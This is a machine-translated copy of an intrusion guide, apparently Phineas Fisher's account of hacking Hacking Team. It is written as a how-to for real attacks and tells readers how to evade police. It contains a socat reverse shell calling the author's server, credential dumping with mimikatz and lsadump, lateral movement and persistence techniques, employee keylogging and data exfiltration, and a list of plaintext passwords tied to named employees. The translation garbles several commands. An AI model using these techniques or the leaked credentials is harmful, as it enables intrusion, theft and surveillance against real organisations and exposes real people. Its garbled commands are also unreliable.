Last updated: Apr 16, 2016

How Hacking Team Hacked

```
 ____ _ _ _ _ _
| | | | __ _ ___ | | __ | __) __ _ ___ | | _ | |
| | _ | | / _` | / __ | | / / | _ \ / _` | / __ | | / / |
| _ | (_ | | (__ | <| | _) | (_ | | (__ | <| _ |
| _ | | _ | \ __, _ | \ ___ | _ | \ _ \ | ____ / \ __, _ | \ ___ | _ | \ _ (_)

                 A DIY Guide



                 , -._, -._
               _, - \ Or Ob /;
              / `` |
              | \ -., ___, / `
               \ `-.__ / /,. \
              / `-.__.- \` ./ \ '
             / / | ___ \, / '\
            ((| .- " '' / \ \`
             \ \ / ,, | \ _
              \ | o / o / \.
               \, / /
               (__`; -; '__ `) \\
               `// '` `||` `\
              _ // || __ _ _ __ _____
        .- "-._ (__) (__) .-." "- |. | | | | _ _ | |
       / \ / \ | | | _ | | | | |
       \ / \ / | | _ | | | |
        ` '` `------- --------'` __ | | _ | | _ | | _ | | __
               #AntiSec
```

- [1 - Introduction] -- ---------------

You'll notice the language change since the last edition [1]. Speaking world English already has books, lectures, guides, and information about spare hacking. In this world there are many better I hackers, but unfortunately They squander their knowledge working for contractors "defense" for intelligence agencies to protect the banks and corporations and to defend the established order. The hacker culture was born in the US as a counterculture, but that source has remained in mere aesthetics - the rest has It has been assimilated. At least they can wear a shirt, dye her hair blue, hackers use their nicknames, and feel rebels while working for the system.

Before someone had to sneak into the offices to filter documents [2]. a gun to rob a bank was needed. Today you can do it from bed with a laptop in hands [3] [4]. As the CNT said after the Gamma hack Group: "we try to take another step forward with new forms of struggle "[5]. The hack is a powerful tool, let us learn and let's fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group

- [2 - Hacking Team] -- ---------------

Hacking Team was a company that helped governments to hack and spy on journalists, activists, political opponents, and other threats to their power [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]. And, very occasionally, criminals and terrorists [12]. A Vincenzetti, CEO, liked to finish his post with the fascist slogan "boia chi molla". It would be more successful "boia RCS sells chi". They also claimed to have technology to solve the "problem" of Tor and darknet [13]. But seeing that I still have my freedom, I have my doubts about their effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

- [3 - Be careful out there] -- ------

Unfortunately, our world is upside down. Enriches you do bad things and imprisons you do good things. Fortunately, thanks to the work hard for people such as "Tor project" [1], you can keep you from getting into the jail by a few simple guidelines:

1) Encrypt your hard drive [2]

I guess when the police arrive to impound your computer, mean you've already made many mistakes, but better safe than cure.

2) Use a virtual machine and all traffic routed by Tor

This accomplishes two things. First, that all connections are anonymized to through the Tor network. Second, keep personal life and anonymous life on different computers it helps you not to mix by accident.

You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or something personalized [6]. Here [7] there is a detailed comparison.

3) (Optional) Do not connect directly to the Tor network

Tor is not the panacea. You can correlate the hours that you are connected Tor with the hours that your nickname is active hacker. There have also been successful attacks against the network [8]. You can connect to the Tor network through wifi others. Wifislax [9] is a Linux distribution with many tools to get wifi. Another option is to connect to a VPN or bridge node [10] before Tor, but is less secure because it still is They may correlate with hacker activity internet activity your home (this example was used as evidence against Jeremy Hammond [eleven]).

The reality is that even though Tor is not perfect, it works quite well. When I was young and reckless, did many things without any protection (me referring to hacking) other than Tor, police made it impossible investigate, and I've never had problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[eleven] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html

---- [3.1 - Infrastructure] -- ----------

No hacking directly with output relays Tor. They are blacklisted, They are very slow, and you can not receive reverse connections. Tor serves to protect my anonymity while I connect to the infrastructure used for hack, which consists of:

1) Domain Names

Addresses used for command and control (C & C), and for tunnels DNS for insured egress.

2) Stable Servers

It serves to C & C servers to receive reverse shells, to launch attacks and keep the loot.

3) Servers Hacked

They serve as pivots to hide the IP of stable servers, and when I want a quick connection without pivot. For example scan ports, scan the whole internet, download a database with SQL injection, etc.

Obviously you have to pay anonymously, as bitcoin (if you use it with watch out).

---- [3.2 - Allocation] -- ---------------

Often in the news that have attributed an attack on a group of governmental hackers (the "APTs"), because they always use the same tools, leaving the same fingerprints, and even use the same infrastructure (domains, mail etc). They neglect because they can hack without legal consequences.

I did not want to make it easier for police work and relate what Hacking Team with hacks and nicknames of my daily work as a hacker glove black. So I used new servers and domains registered with new post and paid with new bitcoin address. In addition, only I used tools public and things that I wrote especially for this attack and changed my way to do some things to keep my normal forensic trace.

- [4 - Gathering Information] -- ---------

Although it can be tedious, this stage is very important, because the more larger the attack surface, the easier it will be to find a fault in a portion thereof.

---- [4.1 - Technical Information] -- -------

Some tools and techniques are:

1) Google

You can find many unexpected things with a couple of good searches picked. For example, the identity of DPR [1]. The bible of how to use google to hack is the book "Google Hacking for Penetration Testers". You can also find a brief summary in Spanish in [2].

2) Enumeration of subdomains

Often the primary domain of a company is hosted by a third party, and you are getting the IP ranges of the company thanks to subdomains as mx.company.com, ns1.company.com etc. Also, sometimes there are things that should not be be exposed to "hidden" subdomains. Useful tools for discover domains and subdomains are fierce [3], theHarvester [4] and recon-ng [5].

3) reverse lookups and searches whois

With a reverse search using the whois information of a domain or range IPs of a company, you can find others of their domains and ranges IPs. To my knowledge, there is no free way to do reverse lookups whois, apart from a "hack" with google:

"Via della Moscova 13" site: www.findip-address.com
"Via della Moscova 13" site: domaintools.com

4) Port scanning and fingerprinting

Unlike other techniques, this speaks servers company. I include in this section because it is not an attack, it is only for gather information. The company IDS can generate an alert to scan ports, but you do not have to worry because all internet it is constantly being scanned.

To scan, nmap [6] necessary, and can fingerprint most services discovered. For companies with very long ranges of IPs, ZMap [7] or masscan [8] are fast. WhatWeb [9] or BlindElephant [10] You can fingerprint websites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

---- [4.2 - Social Information] -- --------

For social engineering, it is very useful to collect information about employees, their roles, contact information, operating system, browser, plugins, software, etc. Some resources are:

1) Google

Here too, it is the most useful tool.

2) theHarvester and recon-ng

I have already mentioned in the previous section, but have much more functionality. You can find a lot of information quickly and automated. Worth reading all documentation.

3) LinkedIn

You can find much information about the employees here. The Company recruiters are more likely to accept your requests.

4) Data.com

Formerly known as jigsaw. You have the contact information of many employees.

5) Metadata file

You can find lots of information about employees and their systems metadata files that the company has published. helpful Tools to find files on the website of the company and extract Metadata is metagoofil [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

- [5 - Entering the Network] -- ------------

There are several ways to make entry. Since the method I used for hacking team is rare and much more work than is usually necessary, I'll talk a bit about the two most common methods, I recommend trying First.

---- [5.1 - Social Engineering] -- ---------

social engineering, spear phishing specifically, is responsible for the Most hacking today. For an introduction in Spanish, see [1]. For more information in English, see [2] (the third part, "Targeted Attacks "). For social engineering amusing anecdotes generations past, see [3]. I did not want to try spear phishing against Hacking Team, because your business is to help governments to spear phish their opponents. Therefore there is a much higher risk that recognize and Hacking Team investigate this attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

---- [5.2 - Buy Access] -- ------------

Thanks to painstaking Russians and their exploit kits, smugglers trafficking, and bot herders, many companies already have compromised computers within their networks. Almost all Fortune 500, with their huge networks have a bots already inside. However, Hacking Team is a very small company, and Most employees are experts in computer security, then there was little chance that were already committed.

---- [5.3 - Technical Operations] -- -------

After hacking Gamma Group, I described a process to search vulnerabilities [1]. Hacking Team has a range of public IP:
inetnum: 93.62.139.32 - 93.62.139.47
descr: HT public subnet

Hacking Team had very little exposed to the internet. For example, different Gamma Group, your site customer needs a certificate client to connect. What he had was his main website (a blog Joomla that Joomscan [2] reveals no serious failure), a server post a pair of routers, two VPN devices, and a device for filtering spam. Then I had three options: find a 0day in Joomla, find a 0day in postfix, or find a 0day in one of the embedded systems. A 0day a embedded system seemed the most attainable option, and after two weeks reverse engineering work, I got a remote root exploit. Given the vulnerabilities have not yet been patched, I will not give more details. For more information on how to find these vulnerabilities, see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A

- [6 - Be Prepared] -- -------------

I did a lot of work and testing before using the exploit against Hacking Team. I wrote a backdoor firmware, and compiled several tools post-exploitation for embedded system. The backdoor serves to protect the exploit. Use the exploit only once and then return by the backdoor ago work harder to find and patch vulnerabilities.

The post-exploitation tools he had prepared were:

1) busybox

For all common UNIX utilities that the system did not.

2) nmap

To scan and fingerprint the internal network of Hacking Team.

3) Responder.py

The most useful tool to attack Windows networks when you have access to the internal network but do not have a domain user.

4) Python

To run Responder.py

5) tcpdump

To snoop traffic.

6) dsniff

Weak passwords to spy protocols such as ftp, and to make ARP spoofing. I wanted to use ettercap, written by the same ALOR and naga Hacking Team, but it was difficult to compile for the system.

7) socat

For a comfortable shell with pty:

```
my_server: socat file: `tty`, raw, echo = 0 tcp-listen: mi_puerto
Hacked system: socat exec: 'bash -li' pty, stderr, setsid, SIGINT, heal \
          tcp: my_server: I mi_puerto
```

And for many other things, it is a Swiss Army knife of networking. See section Examples of documentation.

8) screen

As socat pty is not strictly necessary, but I wanted to feel at home in networks Hacking Team.

9) a SOCKS proxy server

To use with proxychains to access the internal network with any another program.

10) tgcd

To forward ports, as SOCKS server through the firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/

The worst that could happen was that my backdoor or post-exploitation tools dejasen unstable the system and make an employee to investigate. By So I spent a week trying my exploit, backdoor, and tools post-operation over networks of other vulnerable companies before entering Network Hacking Team.

- [7 - Look and Listen] -- ----------

Now within the internal network, I want to take a look and think before giving the next step. I turn Responder.py in analysis mode (-A, to listen without Poisoned answers), and make a slow scan with nmap.

- [8 - NoSQL databases] -- ----------

NoSQL, or rather NoAutenticaciÃ³n has been a great gift to the community hacker [1]. When I worry that they have finally patched all failures Authentication Bypass in MySQL [2] [3] [4] [5] put new fashion base Data unauthenticated by design. Nmap is a few on the net Internal Hacking Team:

```
27017 / tcp open MongoDB MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
...
| _ Version = 2.6.5

27017 / tcp open MongoDB MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| DATABASES
...
| _ Version = 2.6.5
```

Were the databases for RCS test instances. The audio recording RCS is stored in MongoDB with GridFS. The audio folder on torrent [6] It comes from this. Unwittingly they spied on themselves.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/

- [9 - Cables Cruzados] -- -------------

Although it was fun to listen to recordings and view images Hacking webcam Team developing its malware was not very useful. Unsteady copies of security vulnerability were opened. according to his documentation [1], its iSCSI devices must be on a separate network, but nmap find some in your 192.168.1.200/24 â€‹â€‹subnet:

```
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260 / tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology: ht-synology.name
| Address: 192.168.200.66:3260,0
| _ Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260 / tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology: synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
| _ Authentication: No authentication required
```

iSCSI requires a kernel module, and compile it would have been difficult for the embedded system. I forwarded the port to mount from a VPS:

```
VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s -c 192.168.200.72:3260 VPS_IP: 42838

VPS: iscsiadm discovery -m -p -t 127.0.0.1 SendTargets
```

Now you find the name iqn.2000-01.com.synology iSCSI but has problems when mounting because he believes his address is 192.168.200.72 instead of 127.0.0.1

The way I solved was:

```
iptables -t nat -A OUTPUT -d -j 192.168.200.72 DNAT --to-destination 127.0.0.1
```

And now after:

```
-m node iscsiadm --targetname = iqn.2000-01.com.synology: 192.168.200.72 -p synology-backup.name --login
```

... The device file appears! We ride:

```
vmfs-fuse -o ro / dev / sdb1 / mnt / tmp
```

and we find backups of multiple virtual machines. The server Exchange seems most interesting. It is too large to download, but we can mount remote and look for interesting files:

```
$ Losetup / dev / loop0 Exchange.hackingteam.com-flat.vmdk
$ Fdisk -l / dev / loop0
/ Dev / loop0p1 2048 1258287103 629142528 7 HPFS / NTFS / exFAT
```

then the offset is 2048 * 512 = 1048576

```
1048576 $ losetup -o / dev / loop1 / dev / loop0
$ Mount -o ro / dev / loop1 / mnt / exchange /
```

now in / mnt / exchange / WindowsImageBackup / EXCHANGE / Backup 172311 10/14/2014 We find the hard drive of the virtual machine, and assemble:

```
vdfuse -r -t -f VHD f0f78089-D28a-11e2-a92c-005056996a44.vhd / mnt / vhd-disk /
mount -o loop / mnt / vhd-disk / Partition1 / mnt / part1
```

... And finally we unpacked the doll and we can see all the old Exchange server files in / mnt / part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf

- [10 - Backup to Domain Administrator] ---------------------

What interests me most about the backup is to look if you have a or hash password you can use to access the current server. Use pwdump, cachedump, and lsadump [1] with the registry files. lsadump is the password account besadmin service:

```
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 bes3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00!.!.! ...........
```

proxychains [2] use the SOCKS server and embedded system smbclient [3] to check the password:

```
proxychains smbclient //192.168.100.51/c$ '-U' hackingteam.local / besadmin% bes32678 !!! '
```

!Works! Besadmin password is still valid, and is an administrator local. I use my proxy and psexec_psh metasploit [4] for a session of meterpreter. Then I migrate to a 64-bit process, "load kiwi" [5] "Creds_wdigest", and I have many passwords, including the Administrator domain:

```
HACKINGTEAM BESAdmin bes32678 !!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <---- sysadmin go!
M.romeo HACKINGTEAM ioLK / (90
L.guerra HACKINGTEAM 4luc@=.=
HACKINGTEAM D.Martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
A.scarafile HACKINGTEAM Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A! E $$ andra
HACKINGTEAM m.bettini Ettore & Bella0314
M.luppi HACKINGTEAM Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set! Dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f @ #
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571 & 2E
HACKINGTEAM e.rabe erab @ 4HT!
```

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz

- [11 - Downloading Post] -- ------

Now that I have the password for the domain administrator, I have access to mails, the heart of the company. Because with every step I take is a risk of detection, I download mails before further exploring. Powershell makes it easy [1]. Interestingly, I found a bug with handling dates. After getting the mail, I took a couple of weeks in get the source and other code, so I returned occasionally to download new emails. The server was Italian, with the dates day / month / year. Use:

```
-ContentFilter {(Received -ge '05 / 06/2015 ') -or (Sent -ge '05 / 06/2015')}
```

with the New-MailboxExportRequest to download new mail (in this If all mail from June 5. The problem is that says the date is invalid if the day is greater than 12 (I guess this is because US that is the first month and month can not be greater than 12). Looks like Microsoft engineers have only tested their software with their own regional configuration.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/

- [12 - Downloading Files] -- -------

Now I'm a domain administrator, I also began to download shares using my proxy and -Tc smbclient option for example:

```
proxychains smbclient //192.168.1.230/FAE DiskStation '\
   -U 'HACKINGTEAM / Administrator% uu8dd8ndd12!' -TC FAE_DiskStation.tar '*'
```

So I downloaded the Amministrazione, FAE DiskStation, and FileServer folders the torrent.

- [13 - Introduction to Hacking Windows Domain] ----------------------

Before continue telling the story of the Culiao Non-Windows, it should say something knowledge to attack Windows networks.

---- [13.1 - Lateral Movement] -- -------

I will give a brief overview of the techniques to spread within a network Windows. Techniques to run remotely require the password or hash of a local administrator on the target. By far the most common way to get such credentials is to use mimikatz [1], especially logonpasswords and sekurlsa sekurlsa :: :: mSv, on computers where you already have administrative access. Movement techniques "in situ" also Require administrative privileges (I except for runes). The more tools important privilege escalation are PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

Remote movement:

1) psexec

The basic and proven way of moving windows networks. You can use psexec [1], winexe [2], psexec_psh metasploit [3], invoke_psexec of powershell empire [4], or the Windows command "sc" [5]. For module metasploit, powershell empire, and pth-winexe [6], enough to know the hash without knowing the password. It is the most universal way (works on any computer with port 445 open), but also way less cautious. It appears in the 7045 event log type "Service Control Manager. "In my experience, they have never realized for a hack, but sometimes you notice later and helps researchers understand what has made the hacker.

2) WMI

more cautious way. WMI service is enabled on all Windows computers, but except for servers, the firewall blocks it default. You can use wmiexec.py [7] pth-WMIS [6] (here's a wmiexec demonstration and pth-WMIS [8]), invoke_wmi empire powershell [9], or the Windows command wmic [5]. All but need only wmic hash.

3) PSRemoting [10]

It is disabled by default, and not advise enable new protocols that are not needed. But if the sysadmin already enabled, is very convenient, especially if you use powershell for all (and yes, you should use powershell for almost everything will change [11] with powershell 5 and Windows 10, but now powershell day makes it easy to do everything in RAM, dodge antivirus, and leave few traces).

4) Scheduled Tasks

You can run remote programs at and schtasks [5]. It works on the psexec same situations, and also leaves traces known [12].

5) GPO

If all these protocols are disabled or blocked by firewall, once you are the domain administrator, you can use GPO to give a logon script, install a msi, run a scheduled task [13], or as we shall see computer Mauro Romeo (sysadmin Hacking Team), enable WMI and open the firewall via GPO.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13]
https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py

Movement "in situ"

1) Impersonalizando Tokens

Once you have administrative access to a computer, you can use the tokens of other users to access resources in the domain. Two tools to do this are incognito [1] and commands token :: * of mimikatz [2].

2) MS14-068

You can take advantage of a validation failure kerberos to generate a ticket domain administrator [3] [4] [5].

3) Pass the Hash

If you have your hash but the user has not logged on you can use sekurlsa :: pth [2] for a ticket user.

4) Injection Process

Any RAT can be injected to another process, for example the command pupy migrate in meterpreter and [6] or psinject [7] in powershell empire. You can inject the process with the token you want.

5) runes

This is sometimes very useful because it does not require privileges administrator. The command is part of windows, but if you have no interface Graphics can use powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

---- [13.2 - Persistence] -- ------------

Having gained access, you want to keep. Indeed, the persistence It's just a challenge for motherfuckers like they want Hacking Team hack activists or other individuals. Companies to hack, it goes persistence because companies never sleep. I always use "persistence" Duqu style 2 run in RAM on a pair of servers with high uptime percentages. In the unlikely event that all restarted at a time, I have a ticket passwords and gold [1] to access booking. You can read more information on persistence mechanisms for windows here [2. 3. 4]. But to hack into companies, you do not need and increases the risk of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/

---- [13.3 - Internal Recognition] -- ---

The best tool for understanding today Windows is Powerview networks [1]. Worth reading everything written by the author [2] above all [3], [4], [5] and [6]. Powershell itself is also very powerful [7]. As there are still many 2003 and 2000 servers without powershell, you must also learn the old school [8], with tools like netview.exe [9] or the command windows "Net view". Other techniques that I like are:

1) Download a list of file names

With a domain administrator account, you can download all file names on the network with powerview:

```
Invoke-ShareFinderThreaded -ExcludedShares IPC $, PRINT $, ADMIN $ |
select-string '^ (. *) \ t' | % {$ _ Matches -recurse dir [0] .Groups [1]. |
select fullname | files.txt -append out-file}
```

Later, you can read at your own pace and choose which ones you want to download.

2) Read post

As we have seen, you can be downloaded emails with powershell, and have lots of useful information.

3) Read sharepoint

It is another place where many companies have important information. It can download with powershell [10].

4) Active Directory [11]

It has lots of useful information about users and computers. Without being domain administrator, and you can find lots of information powerview and other tools [12]. After getting manager domain should export all the information of AD with csvde or other tool.

5) Spying on employees

One of my favorite pastimes is hunting the sysadmins. spying Christan Pozzi (sysadmin Hacking Team) got the server accesso Nagios gave me accessibility to sviluppo rete (network development in RCS source code). With a simple combination of Get-Keystrokes and Get-TimedScreenshot of PowerSploit [13], Do-Exfiltration of Nishang [14], and GPO, you can spy on any employee or even the entire domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang

- [14 - Hunting Sysadmins] -- ----------

By reading the documentation of its infrastructure [1], I realized that even I lacked access to something important - "Rete Sviluppo" an isolated network keeps all the RCS source code. Sysadmins of a company always They have access to everything. I searched computers Mauro Romeo and Christian Pozzi to see how they handle the network sviluppo, and to see if there were other interesting systems should investigate. It was easy to access your computers since they were part of the Windows domain that had administrator. Mauro computer Romeo had no open port, so I opened the port of WMI [2] to execute meterpreter [3]. In addition to record catches with keys and Get-Keystrokes and Get-TimedScreenshot, used many modules / gather / metasploit, CredMan.ps1 [4], and searched files [5]. seeing that Pozzi had a Truecrypt volume, I waited until he had assembled to then copy the files. Many have laughed weak passwords Christian Pozzi (Christian Pozzi and generally provides enough material for comedy [6] [7] [8] [9]). I included them in filtration as an oversight and to laugh at him. The reality is that mimikatz and keyloggers see all same passwords.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/

- [15 - The Bridge] -- ------------------

Within the volume encryption Christian Pozzi, there was a textfile with many passwords [1]. One was for a Nagios server Fully Automated, I had access to sviluppo network to monitor it. Had found the bridge. Only had the password for the Web interface, but there was a Public exploit [2] to execute code and get a shell (is an exploit unauthenticated, but it takes a user has logged in to the I used that password textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78

- [16 - Reusing and restoring passwords] ----------------------------

Reading the post, he had seen Milan Daniele granting access to git repositories. And I had its windows password by mimikatz. The I tried with git server and it worked. I tried sudo and it worked. For him gitlab server and your twitter account, I used the "I forgot my Password "and my access to the mail server to restore password.

- [17 - Conclusion] -- ----------------

It is done. So easy it is to tear down a company and stop their abuses human rights. That is the beauty and the asymmetry of hacking: with only a hundred hours of work, one person can undo years of work of a multimillion-dollar company. The hacking gives us the possibility of the dispossessed fight and win.

Hacking guides often end with a warning: This information is only for educational purposes, I am an ethical hacker, not attacks on computers without permission, gobbledygook. I will say the same, but with a more rebellious concept hacking "ethical". Filter ethical hacking documents would expropriate money banks, and protect computers of ordinary people. However, the Most people who call themselves "ethical hackers" work only to protect those who pay their consulting fee, which often are the they most deserve to be hacked.

Hacking Team is see themselves as part of a tradition of inspiring Italian [1] design. I see them Vincenzetti, your company, and their cronies police, police, and government, as part of a long tradition of Italian fascism. I want to dedicate this guide to the victims of the assault on the Armando Diaz school, and all those who have shed their blood on hands Italian fascists.

[1] https://twitter.com/coracurrier/status/618104723263090688

- [18 - Contact] -- -----------------

To send spearphishing attempts, death threats written in Italian [1] [2] and to give me 0days or access within banks, corporations, governments etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

porfa only encrypted mails:
https://securityinabox.org/es/thunderbird_usarenigmail

```
----- BEGIN PGP PUBLIC KEY BLOCK -----

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua + bmF2E7OUihTodv4F / N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w / 00JH7UTLcZNbt9WGxtLEs + C + jF9j2g
